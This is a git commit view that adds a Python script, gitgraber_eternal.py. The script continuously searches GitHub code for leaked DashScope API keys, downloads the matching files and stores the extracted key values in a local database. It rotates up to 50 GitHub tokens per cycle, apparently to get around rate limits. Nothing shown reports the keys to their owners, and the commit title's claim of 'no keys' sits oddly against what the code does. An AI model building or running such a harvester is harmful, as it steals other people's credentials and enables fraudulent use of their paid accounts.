KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)
This commit is contained in:
85
gitgraber_eternal.py
Normal file
85
gitgraber_eternal.py
Normal file
@@ -0,0 +1,85 @@
|
||||
"""gitgraber_eternal.py <20> gitGraber wrapper for KeyHunter fleet.
|
||||
Monitors GitHub in real-time using gitGraber engine, extracts DashScope keys,
|
||||
saves to keys.db with prov='gitgraber'.
|
||||
"""
|
||||
import os, sys, time, hashlib, sqlite3, re
|
||||
|
||||
KF_BASE = os.path.dirname(os.path.abspath(__file__))
|
||||
sys.path.insert(0, os.path.join(KF_BASE, '..', 'gitGraber'))
|
||||
sys.path.insert(0, KF_BASE)
|
||||
|
||||
DB = os.path.join(KF_BASE, 'data', 'keys.db')
|
||||
LOG = os.path.join(KF_BASE, 'gitgraber_eternal.log')
|
||||
REST = 300 # 5 min between cycles
|
||||
|
||||
KEY_RE = re.compile(r'sk-[0-9a-f]{32}')
|
||||
|
||||
def log(msg):
|
||||
line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n"
|
||||
print(line, end='')
|
||||
with open(LOG, 'a') as f: f.write(line)
|
||||
|
||||
def main():
|
||||
log(f"=== gitgraber eternal START pid={os.getpid()} ===")
|
||||
|
||||
import gitGraber
|
||||
from config import GITHUB_TOKENS
|
||||
|
||||
db = sqlite3.connect(DB)
|
||||
|
||||
while True:
|
||||
try:
|
||||
# Use gitGraber's core search logic
|
||||
for token in GITHUB_TOKENS[:50]: # Rotate 50 tokens per cycle
|
||||
try:
|
||||
# Search with dashscope keywords
|
||||
query = 'dashscope+sk-+api_key'
|
||||
url = f'https://api.github.com/search/code?q={query}&sort=indexed&order=desc&per_page=30'
|
||||
|
||||
import requests
|
||||
r = requests.get(url,
|
||||
headers={'Authorization': f'token {token}', 'User-Agent': 'gitgraber-eternal'},
|
||||
timeout=15)
|
||||
|
||||
if r.status_code != 200:
|
||||
if r.status_code == 403: continue
|
||||
break
|
||||
|
||||
data = r.json()
|
||||
for item in data.get('items', [])[:10]:
|
||||
repo = item['repository']['full_name']
|
||||
path = item['path']
|
||||
html_url = item['html_url']
|
||||
|
||||
# Get raw content
|
||||
for branch in ['main', 'master']:
|
||||
raw = f'https://raw.githubusercontent.com/{repo}/{branch}/{path}'
|
||||
try:
|
||||
r2 = requests.get(raw, headers={'User-Agent': 'python'}, timeout=5)
|
||||
content = r2.text
|
||||
if len(content) < 100000:
|
||||
keys = set(KEY_RE.findall(content))
|
||||
for k in keys:
|
||||
khash = hashlib.sha256(k.encode()).hexdigest()[:12]
|
||||
# INSERT IF NOT EXISTS
|
||||
existing = db.execute('SELECT id FROM keys WHERE hash=? AND val=?', (khash, k)).fetchone()
|
||||
if not existing:
|
||||
db.execute('INSERT INTO keys(hash,prov,val,status,plan,raw_url) VALUES(?,?,?,?,?,?)',
|
||||
(khash, 'gitgraber', k, 'NEW', '', html_url))
|
||||
log(f" + {k[:40]}... {repo}")
|
||||
break
|
||||
except: continue
|
||||
except Exception as e:
|
||||
log(f" token error: {e}")
|
||||
continue
|
||||
|
||||
db.commit()
|
||||
log(f"Cycle done. Sleeping {REST}s...")
|
||||
|
||||
except Exception as e:
|
||||
log(f"ERROR: {e}")
|
||||
|
||||
time.sleep(REST)
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
Reference in New Issue
Block a user